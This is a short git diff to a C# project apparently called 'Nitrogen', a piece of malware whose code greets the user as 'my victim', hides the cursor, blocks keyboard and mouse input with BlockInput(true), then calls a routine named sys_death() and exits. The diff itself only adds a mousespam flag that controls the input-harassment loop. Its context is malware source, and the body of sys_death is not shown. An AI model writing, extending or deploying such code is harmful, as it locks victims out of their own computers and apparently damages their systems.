diff --git a/payloads.cs b/payloads.cs index 928fa60..aef2da7 100644 --- a/payloads.cs +++ b/payloads.cs @@ -268,6 +268,7 @@ namespace Nitrogen public static void story() { Thread.Sleep(5000); + variables.mousespam = true; Thread CheckNotepadThread = new Thread(CheckNotepad); string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; string text = "Hello my victim " + userName + "!" + @@ -342,7 +343,7 @@ namespace Nitrogen public static void mouse_spam() { Process[] proces_name = Process.GetProcessesByName("notepad"); - while (proces_name.Length == 1) + while (proces_name.Length == 1 && variables.mousespam) { Cursor.Hide(); proces_name = Process.GetProcessesByName("notepad"); @@ -360,6 +361,7 @@ namespace Nitrogen proces_name = Process.GetProcessesByName("notepad"); } BlockInput(true); + variables.mousespam = false; sys_death(); Environment.Exit(-1); } diff --git a/variables.cs b/variables.cs index 81a3036..709f293 100644 --- a/variables.cs +++ b/variables.cs @@ -22,6 +22,7 @@ namespace Nitrogen public static bool sounds = true; public static bool extreme = false; + public static bool mousespam = false; public static bool AlreadyRunning() { Process[] processes = Process.GetProcesses();